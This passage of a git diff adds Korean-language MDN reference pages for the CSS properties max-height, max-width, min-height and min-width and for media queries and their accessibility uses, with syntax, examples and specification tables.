+max-height: unset;
+</pre>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>고정 길이로 나타낸 최대 높이.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 높이에 대한 백분율로 나타낸 최대 높이.</dd>
+</dl>
+
+<h4 id="키워드_값">키워드 값</h4>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>최대 높이를 정하지 않음.</dd>
+ <dt><code>max-content</code> {{experimental_inline()}}</dt>
+ <dd>본질적인 선호 높이.</dd>
+ <dt><code>min-content</code> {{experimental_inline()}}</dt>
+ <dd>본질적인 최소 높이.</dd>
+ <dt><code>fill-available</code> {{experimental_inline()}}</dt>
+ <dd>컨테이닝 블록의 높이에서 세로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 <code>available</code>로 구현함을 참고하세요.)</dd>
+ <dt><code>fit-content</code> {{experimental_inline()}}</dt>
+ <dd><code>max-content</code>와 동일.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">table { max-height: 75%; }
+
+form { max-height: none; }
+</pre>
+
+<h2 id="접근성_참고사항">접근성 참고사항</h2>
+
+<p>페이지의 확대 또는 글씨 크기를 키운 후에도 <code>max-height</code>를 설정한 요소의 내용이 잘리거나, 다른 요소를 가리지 않도록 주의하세요.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-height') }}</td>
+ <td>{{ Spec2('CSS3 Sizing') }}</td>
+ <td>Adds the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, and <code>fill-available</code> keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.<em>)</em></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-height') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>max-height</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'max-height') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.max-height")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델 입문</a>, {{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("height")}}, {{cssxref("min-height")}}</li>
+</ul>
diff --git a/files/ko/web/css/max-width/index.html b/files/ko/web/css/max-width/index.html
new file mode 100644
index 0000000000..92f8727cbf
--- /dev/null
+++ b/files/ko/web/css/max-width/index.html
@@ -0,0 +1,173 @@
+---
+title: max-width
+slug: Web/CSS/max-width
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/max-width
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>max-width</code></strong> <a href="https://developer.mozilla.org/en-US/docs/CSS">CSS</a> 속성은 요소의 최대 너비를 설정합니다. <code>max-width</code>는 {{cssxref("width")}} 속성의 <a href="/ko/docs/Web/CSS/used_value">사용값</a>이 자신의 값보다 커지는걸 방지합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-width.html")}}</div>
+
+
+
+<p><code>max-width</code>가 {{cssxref("width")}}를 재설정하고, {{cssxref("min-height")}}가 <code>max-width</code>를 재설정합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+max-width: 3.5em;
+
+/* &lt;percentage&gt; 값 */
+max-width: 75%;
+
+/* 키워드 값 */
+max-width: none;
+max-width: max-content;
+max-width: min-content;
+max-width: fit-content;
+max-width: fill-available;
+
+/* 전역 값 */
+max-width: inherit;
+max-width: initial;
+max-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>고정 길이로 나타낸 최대 너비.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비에 대한 백분율로 나타낸 최대 너비.</dd>
+</dl>
+
+<h4 id="키워드_값">키워드 값</h4>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>최대 너비를 정하지 않음.</dd>
+ <dt><code>max-content</code> {{experimental_inline()}}</dt>
+ <dd>본질적인 선호 높이.</dd>
+ <dt><code>min-content</code> {{experimental_inline()}}</dt>
+ <dd>본질적인 최소 높이.</dd>
+ <dt><code>fill-available</code> {{experimental_inline()}}</dt>
+ <dd>컨테이닝 블록의 높이에서 가로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 <code>available</code>로 구현함을 참고하세요.)</dd>
+ <dt><code>fit-content</code> {{experimental_inline()}}</dt>
+ <dd><code>max-content</code>와 동일.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제에서, 자식(<code>child</code>) 요소의 너비는 150픽셀과 부모(<code>parent</code>) 요소의 너비 중 더 작은 값이 됩니다.</p>
+
+<div id="basic-max-width-demo">
+<pre class="brush: html">&lt;div id="parent"&gt;
+ &lt;div id="child"&gt;
+ Fusce pulvinar vestibulum eros, sed luctus ex lobortis quis.
+ &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">#parent {
+ background: lightblue;
+ width: 300px;
+}
+
+#child {
+ background: gold;
+ width: 100%;
+ max-width: 150px;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("basic-max-width-demo", 350, 100)}}</p>
+
+<p><code>fit-content</code> 값을 사용하여 해당 요소의 내용이 필요로 하는 너비만 차지하도록 설정할 수 있습니다.</p>
+
+<div id="fit-content-demo">
+<pre class="brush: html" style="display: none;">&lt;div id="parent"&gt;
+ &lt;div id="child"&gt;
+ Child Text
+ &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">#parent {
+ background: lightblue;
+ width: 300px;
+}
+
+#child {
+ background: gold;
+ width: 100%;
+ max-width: -moz-fit-content;
+ max-width: -webkit-fit-content;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("fit-content-demo", 400, 100)}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>페이지의 확대 또는 글씨 크기를 키운 후에도 <code>max-width</code>를 설정한 요소의 내용이 잘리거나, 다른 요소를 가리지 않도록 주의하세요.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-width') }}</td>
+ <td>{{ Spec2('CSS3 Sizing') }}</td>
+ <td>Adds the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, and <code>fill-available</code> keywords.<em> </em>(Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.<em>)</em></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-width') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>max-width</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'max-width') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.max-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델 입문</a></li>
+ <li>{{cssxref("box-sizing")}}, {{cssxref("width")}}, {{ Cssxref("min-width") }}</li>
+</ul>
diff --git a/files/ko/web/css/media_queries/index.html b/files/ko/web/css/media_queries/index.html
new file mode 100644
index 0000000000..c3f4e87226
--- /dev/null
+++ b/files/ko/web/css/media_queries/index.html
@@ -0,0 +1,103 @@
+---
+title: 미디어 쿼리
+slug: Web/CSS/Media_Queries
+tags:
+ - CSS
+ - CSS 미디어 쿼리
+ - Media Queries
+ - Overview
+ - Reference
+ - 미디어 쿼리
+ - 반응형 디자인
+translation_of: Web/CSS/Media_Queries
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>미디어 쿼리</strong>는 다양한 기기 특성과 파라메터의 존재 여부에 따라 사이트, 혹은 앱을 조정할 수 있습니다.</p>
+
+<p>미디어 쿼리는 <a href="/ko/docs/Web/Progressive_web_apps">반응형 디자인</a>의 핵심 구성 요소입니다. 예를 들어, 미디어 쿼리는 작은 기기에 맞춰 폰트 사이즈를 줄어들게 하거나, 세로 모드(portrait mode)일 때 단락의 패딩 값을 증가시킬 수도 있습니다. 혹은 터치 스크린에서 버튼 사이즈를 키울 수도 있습니다.</p>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a>에서는 {{cssxref("@media")}} <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>을 사용해서 스타일 시트의 일부를 조건부로 적용합니다. 이 스타일 시트는 미디어 쿼리의 결과에 기반한 스타일 시트입니다. {{cssxref("@import")}}를 사용해서 조건부로 전체 스타일시트를 적용해보세요.</p>
+
+<h3 id="HTML에서의_미디어_쿼리">HTML에서의 미디어 쿼리</h3>
+
+<p><a href="/ko/docs/Web/HTML">HTML</a>에서 미디어 쿼리는 다양한 요소에 적용될 수 있습니다.:</p>
+
+<ul>
+ <li>{{HTMLElement("link")}} 요소의 {{htmlattrxref("media", "link")}} 속성에서는, 링크된 리소스 (일반적으로 CSS)가 적용되어야하는 미디어를 정의합니다.</li>
+ <li>{{HTMLElement("source")}} 요소의 {{htmlattrxref("media", "source")}} 속성에서는, 해당 소스가 적용되어야하는 미디어를 정의합니다. (이건 {{HTMLElement("picture")}} 요소 안에서만 유효합니다.)</li>
+ <li>{{HTMLElement("style")}} 요소의 {{htmlattrxref("media", "style")}} 속성에서는, 스타일이 적용되어야하는 미디어를 정의합니다.</li>
+</ul>
+
+<h3 id="JavaScript에서의_미디어_쿼리">JavaScript에서의 미디어 쿼리</h3>
+
+<p><a href="/ko/docs/Web/JavaScript">JavaScript</a>에서는, {{domxref("Window.matchMedia()")}} 메소드로 미디어 쿼리를 테스트할 수 있습니다. {{domxref("MediaQueryList.addListener()")}} 메소드를 사용하면 쿼리가 변경될 때마다 사이트나 앱에서 알림을 받을 수도 있습니다. 이러한 기능을 사용하면, 사이트나 앱이 기기 구성, 방향 또는 상태의 변화에 따라 응답할 수도 있습니다.</p>
+
+<p><a href="/ko/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a>에서 프로그래밍 방식으로 미디어 쿼리를 사용하는 방법에 대해 자세히 배워보세요.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{cssxref("@media")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries">미디어 쿼리 사용하기</a></dt>
+ <dd>미디어 쿼리 표현식을 구성하는데 사용되는 미디어 쿼리, 구문 및 연산자와 미디어 기능을 소개합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Media_Queries/Testing_media_queries">프로그래밍 방식으로 미디어 쿼리 테스트하기</a></dt>
+ <dd>자바스크립트 코드에서 어떻게 미디어 쿼리를 사용해 디바이스의 상태를 확인하는지, 그리고 미디어 쿼리가 변경될 때(사용자가 화면을 회전시키거나 브라우저를 리사이즈 할 때와 같은 상황)마다 알림을 보내기 위해 어떻게 리스너를 설정하는지에 대해 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility">접근성을 위한 미디어 쿼리</a></dt>
+ <dd>미디어 쿼리를 사용해 사용자가 웹사이트를 더 잘 이해할 수 있게 만들어보세요.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS5 Media Queries')}}</td>
+ <td>{{Spec2('CSS5 Media Queries')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Conditional')}}</td>
+ <td>{{Spec2('CSS3 Conditional')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS4 Media Queries')}}</td>
+ <td>{{Spec2('CSS4 Media Queries')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Media Queries')}}</td>
+ <td>{{Spec2('CSS3 Media Queries')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'media.html')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("@supports")}} 를 사용하면 브라우저가 지원하는 다양한 CSS 기술들에 대한 스타일을 적용할 수 있습니다.</li>
+</ul>
diff --git a/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html b/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html
new file mode 100644
index 0000000000..d48d431b7d
--- /dev/null
+++ b/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html
@@ -0,0 +1,93 @@
+---
+title: 접근성을 위한 미디어 쿼리 사용하기
+slug: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility
+tags:
+ - '@media'
+ - CSS
+ - 미디어 속성
+ - 접근성
+translation_of: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility
+---
+<p><strong>미디어쿼리(Media Queries)</strong>는 장애를 가진 사용자가 웹사이트를 더 쉽게 이해할 수 있도록 도울 수 있습니다.</p>
+
+<h2 id="애니메이션_동작_축소하기(Reduced_Motion)">애니메이션 동작 축소하기(Reduced Motion)</h2>
+
+<p>깜빡이거나 반짝이는 애니메이션은 주의력결핍 과잉행동증후군(注意力缺乏過剩行動症候群 : ADHD)와 같은 인식장애를 가진 사람들에게 문제가 될 수 있다. 이러한 종류의 애니메이션 동작들은 시력 장애, 간질이나 편두통과 암소시성 민감증을 유발할 수 있습니다.</p>
+
+<p>또한, 이 애니메이션 동작을 줄이는.방법을 통해 배터리가 부족한 사람이나 보급형 스마트폰 및 컴퓨터를 사용하는 사람들에게 도음을 줄 수 있습니다.</p>
+
+<h3 id="문법"><strong>문법</strong></h3>
+
+<dl>
+ <dt><code><dfn>no-preference</dfn></code></dt>
+ <dd>사용자가 디바이스에서 애니메이션 축소와 관련된 기능을 설정하지 않았을 경우에 적용될 스타일을 나타냅니다.</dd>
+ <dt><code><dfn>reduce</dfn></code></dt>
+ <dd>사용자가 디바이스에서 애니메이션 축소와 관련된 기능을 설정하였을 경우에 적용될 스타일을 나타냅니다.</dd>
+</dl>
+
+<h3 id="예제"><strong>예제</strong></h3>
+
+<p>이 예시는 디바이스에서 애니메이션 축소와 관련된 기능을 설정하지 않으면 애니메이션 효과가 축소되지 않습니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="animation"&gt;animated box&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.animation {
+ -webkit-animation: vibrate 0.3s linear infinite both;
+ animation: vibrate 0.3s linear infinite both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+ .animation {
+ animation: none;
+ }
+}
+</pre>
+
+<h2 id="고대비_모드_(High_Contrast_Mode)">고대비 모드 (High Contrast Mode)</h2>
+
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p><strong>-ms-high-contrast</strong> <a href="/en-US/docs/Web/CSS">CSS media 속성</a>은 애플리케이션이 고대비 모드로 표시되고 있는지의 여부에따라 어떤 색상으로 웹사이트를 표시할 지를 정의하는 <a href="/en-US/docs/Web/CSS/Microsoft_extensions">Microsoft 확장기능</a>입니다.</p>
+
+<p> 이 미디어 속성은 저시력 사용자나 대비에 민감한 문제가 있는 사람뿐만 아니라 직사광선 아래에서 컴퓨터나 휴대폰을 사용하는 사람에게도 도움이 됩니다.</p>
+
+<h3 id="문법_2"><strong>문법</strong></h3>
+
+<p><strong><code>-ms-high-contrast</code></strong> 미디어 속성(Media Feature)은 다음 값 중 하나를 지정하여 사용할 수 있습니다.</p>
+
+<h3 id="속성값"><strong>속성값</strong></h3>
+
+<dl>
+ <dt><code>active</code></dt>
+ <dd>
+ <p>시스템이 색상과 관계없이 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.</p>
+ </dd>
+ <dt><code>black-on-white</code></dt>
+ <dd>
+ <p>시스템이 검은색-흰 색 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.</p>
+ </dd>
+ <dt><code>white-on-black</code></dt>
+ <dd>
+ <p>시스템이 흰 색-검은 색 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.</p>
+ </dd>
+</dl>
+
+<h3 id="예제_2"><strong>예제</strong></h3>
+
+<p>다음 선언된 스타일들은 시스템과 애플리케이션에서 고대비 모드의 색상 변화에 따라 스타일을 일치시켜줍니다.</p>
+
+<pre class="brush: css">@media screen and (-ms-high-contrast: active) {
+ /* 모든 고대비 모드에 대한 스타일 규칙입니다 */
+}
+@media screen and (-ms-high-contrast: black-on-white) {
+ div { background-image: url('image-bw.png'); }
+}
+@media screen and (-ms-high-contrast: white-on-black) {
+ div { background-image: url('image-wb.png'); }
+}
+</pre>
diff --git a/files/ko/web/css/min-height/index.html b/files/ko/web/css/min-height/index.html
new file mode 100644
index 0000000000..80c27230af
--- /dev/null
+++ b/files/ko/web/css/min-height/index.html
@@ -0,0 +1,123 @@
+---
+title: min-height
+slug: Web/CSS/min-height
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/min-height
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>max-height</code></strong> <a href="/en-US/docs/CSS">CSS</a> 속성은 요소의 최소 높이를 설정합니다. <code>min-height</code>는 {{cssxref("height")}} 속성의 <a href="/ko/docs/Web/CSS/used_value">사용값</a>이 자신의 값보다 작아지는걸 방지합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-height.html")}}</div>
+
+
+
+<p><code>min-height</code>가 {{cssxref("max-height")}} 또는 {{cssxref("height")}}보다 커지면 요소의 높이는 <code>min-height</code>의 값을 사용합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+min-height: 3.5em;
+
+/* &lt;percentage&gt; 값 */
+min-height: 10%;
+
+/* 키워드 값 */
+min-height: max-content;
+min-height: min-content;
+min-height: fit-content;
+min-height: fill-available;
+
+/* 전역 값 */
+min-height: inherit;
+min-height: initial;
+min-height: unset;
+</pre>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>고정 길이로 나타낸 최대 높이. 음수 값은 유효하지 않습니다.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 높이에 대한 백분율로 나타낸 최대 높이. 음수 값은 유효하지 않습니다.</dd>
+</dl>
+
+<h4 id="키워드_값">키워드 값</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>최소 높이를 정하지 않음.</dd>
+</dl>
+
+<dl>
+ <dt><code>max-content</code> {{ experimental_inline() }}</dt>
+ <dd>본질적인 선호 높이.</dd>
+ <dt><code>min-content</code> {{ experimental_inline() }}</dt>
+ <dd>본질적인 최소 높이.</dd>
+ <dt><code>fill-available</code> {{ experimental_inline() }}</dt>
+ <dd>컨테이닝 블록의 높이에서 세로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 <code>available</code>로 구현함을 참고하세요.)</dd>
+ <dt><code>fit-content</code> {{ experimental_inline() }}</dt>
+ <dd>CSS3 Box 모듈에 따라 <code>min-content</code>의 다른 이름. CSS3 Sizing 모듈은 더 복잡한 알고리즘을 정의하지만, 모든 브라우저에서 실험 기능으로도 구현하지 않습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">table { min-height: 75%; }
+
+form { min-height: 0; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-height') }}</td>
+ <td>{{ Spec2('CSS3 Sizing') }}</td>
+ <td>Adds the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, and <code>fill-available</code> keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.<em>)</em></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Flexbox', '#min-auto', 'min-height') }}</td>
+ <td>{{ Spec2('CSS3 Flexbox') }}</td>
+ <td>Adds the <code>auto</code> keyword and uses it as the initial value.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-height') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>min-height</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'min-height') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.min-height")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델 입문</a>, {{cssxref("box-sizing")}}</li>
+ <li>{{ Cssxref("height") }}, {{ Cssxref("max-height") }}</li>
+</ul>
diff --git a/files/ko/web/css/min-width/index.html b/files/ko/web/css/min-width/index.html
new file mode 100644
index 0000000000..50bab2c8d9
--- /dev/null
+++ b/files/ko/web/css/min-width/index.html
@@ -0,0 +1,122 @@
+---
+title: min-width
+slug: Web/CSS/min-width
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/min-width
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>min-width</code></strong> <a href="/en-US/docs/CSS">CSS</a> 속성은 요소의 최소 너비를 설정합니다. <code>min-width</code>는 {{cssxref("width")}} 속성의 <a href="/ko/docs/Web/CSS/used_value">사용값</a>이 자신의 값보다 작아지는걸 방지합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-width.html")}}</div>
+
+
+
+<p><code>min-width</code>가 {{cssxref("max-width")}} 또는 {{cssxref("width")}}보다 커지면 요소의 높이는 <code>min-width</code>의 값을 사용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+min-width: 3.5em;
+
+/* &lt;percentage&gt; 값 */
+min-width: 10%;
+
+/* 키워드 값 */
+min-width: max-content;
+min-width: min-content;
+min-width: fit-content;
+min-width: fill-available;
+
+/* 전역 값 */
+min-width: inherit;
+min-width: initial;
+min-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>고정 길이로 나타낸 최대 너비. 음수 값은 유효하지 않습니다.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비에 대한 백분율로 나타낸 최대 너비. 음수 값은 유효하지 않습니다.</dd>
+</dl>
+
+<h4 id="키워드_값">키워드 값</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>최소 너비를 정하지 않음.</dd>
+ <dt><code>max-content</code> {{ experimental_inline() }}</dt>
+ <dd>본질적인 선호 높이.</dd>
+ <dt><code>min-content</code> {{ experimental_inline() }}</dt>
+ <dd>본질적인 최소 높이.</dd>
+ <dt><code>fill-available</code>{{ experimental_inline() }}</dt>
+ <dd>컨테이닝 블록의 너비에서 가로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 <code>available</code>로 구현함을 참고하세요.)</dd>
+ <dt><code>fit-content</code> {{ experimental_inline() }}</dt>
+ <dd><code>min(max-content, max(min-content, fill-available))</code>과 같음.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:css;">table { min-width: 75%; }
+
+form { min-width: 0; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-width') }}</td>
+ <td>{{ Spec2('CSS3 Sizing') }}</td>
+ <td>Adds the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, and <code>fill-available</code> keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.<em>)</em></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Flexbox', '#min-size-auto', 'min-width') }}</td>
+ <td>{{ Spec2('CSS3 Flexbox') }}</td>
+ <td>Adds the <code>auto</code> keyword and uses it as the initial value.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-width') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>min-width</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'min-width') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.min-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델 입문</a>, {{cssxref("box-sizing")}}</li>
+ <li>{{ Cssxref("width") }}, {{ Cssxref("max-width") }}</li>
+</ul>
diff --git a/files/ko/web/css/mix-blend-mode/index.html b/files/ko/web/css/mix-blend-mode/index.html
new file mode 100644
index 0000000000..069bb0122f
--- /dev/null
+++ b/files/ko/web/css/mix-blend-mode/index.html
@@ -0,0 +1,651 @@
+---
+title: mix-blend-mode
+slug: Web/CSS/mix-blend-mode
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/mix-blend-mode
+---
+<div>{{CSSRef}}</div>
+
